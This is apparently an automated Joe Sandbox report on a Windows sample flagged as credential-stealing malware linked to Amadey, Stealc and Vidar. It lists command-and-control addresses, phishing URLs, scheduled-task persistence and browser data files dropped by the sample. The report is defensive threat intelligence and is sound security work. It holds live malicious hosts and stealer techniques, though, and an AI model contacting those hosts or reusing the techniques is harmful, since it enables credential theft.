Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/290@28/26
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 64.233.165.84, 34.104.35.123, 93.184.221.240, 172.217.17.74, 172.217.17.42, 172.217.19.202, 172.217.21.42, 142.250.181.138, 172.217.19.234, 172.217.19.170, 142.250.181.74, 216.58.208.234, 142.250.181.10, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 23.32.239.56, 23.32.239.18, 2.16.158.179, 2.16.158.170, 2.16.158.192, 2.16.158.75, 2.16.158.35, 2.16.158.96, 2.16.158.91, 23.32.239.58, 2.19.198.17, 95.100.135.89, 95.100.135.81, 95.100.135.90, 95.100.135.72, 95.100.135.99, 95.100.135.83, 95.100.135.97, 95.100.135.73, 95.100.135.91, 13.74.129.1, 13.107.21.237, 204.79.197.237, 95.100.135.105, 95.100.135.106, 95.100.135.112, 95.100.135.113, 2.16.158.40, 2.16.158.27, 142.250.80.99, 142.250.65.227
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, assets2.msn.com.edgekey.net, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, time.windows.com, www.bing.com.edgekey.net, th.bin
Execution Graph export aborted for target DocumentsFHJKKECFIE.exe, PID 8860 because it is empty
Execution Graph export aborted for target file.exe, PID 7740 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6192 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:12:48	API Interceptor	143x Sleep call for process: file.exe modified
17:14:01	API Interceptor	201x Sleep call for process: skotes.exe modified
23:13:11	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
20.25.227.174	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	FRSSDE.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	WSock.dll	Get hash	malicious	Ramnit	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
play.google.com	Benefit Enrollment -16oy1xb.pdf	Get hash	malicious	Unknown	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	142.250.185.110
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.217.18.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	142.250.185.78
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.142
	http://google.com	Get hash	malicious	Unknown	Browse	142.250.184.206
s-part-0012.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.40
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.40
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	http://iglawfirm.com/services/antai-fr/	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://sales-agreement-carpal-relative.s3.amazonaws.com/payout/completed/SEKTJGJFFJlfkdjklm4GHKHKYKFLFL/onedrive.html	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://blackearthpavement-my.sharepoint.com/:f:/p/justin/Ers-Js2n9AROj9DUuizyNWABOVK5z1CJ653Ryc0SphjDRg?e=3ZQaIF	Get hash	malicious	Unknown	Browse	13.107.246.40
	DofusInvoker.swf	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://adf-ask-accessibility-daeeafembaazdzfk.z01.azurefd.net	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://adf-ask-accessibility-daeeafembaazdzfk.z01.azurefd.net	Get hash	malicious	Unknown	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	original.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.250.45.119
	SBAFLA TeamCALL marcia.main__ (lo).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.46.162.227
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.42.14
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	original.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.250.45.119
	SBAFLA TeamCALL marcia.main__ (lo).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.46.162.227
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.42.14
MICROSOFT-CORP-MSN-AS-BLOCKUS	original.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.250.45.119
	SBAFLA TeamCALL marcia.main__ (lo).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.46.162.227
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.42.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.cbirc.gov.cn/cn/view/pages/index/index.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	https://msn-n.com/?tgvlzvqc	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	Benefit Enrollment -16oy1xb.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	BOA-everbridge.com-$29,890.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	http://wwwfucai13.cc	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	http://christians-google-sh-97m2.glide.page/dl/d0a5f4	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	http://th-42-0.914trk.com	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 20.190.181.5 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKFHDBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKFHDBFIDAECAAAKEGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKKKFBGDHJKFHJJJJDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKKFCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653256076411599
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM0SAELyKOMq+8HKkjucswRv8p3nVumK:K0q+n0J09ELyKOMq+8HKkjuczRv892
MD5:	F2B8DB87B733A2E7705F5751480D3C52
SHA1:	CF456D82852E816EF6E923B7D06A87669AA3F595
SHA-256:	CFD157F1FF5B371F445EE36E2CF66A053330293EB8FF098D83DB096822E4238C
SHA-512:	1A59C73BF8861102919DAF8B7E8704930192B54979E41A55AF6D0AD3E00521CE7E3A6F8C15E863E5B8029F939323B06B89C323447E52B7F997C53C8D26C1A690
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDHJEGIEBFHDGDGHDHIEBKFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIEHJKFHCAEGCBFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFBGCAKFHCFHJKECFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
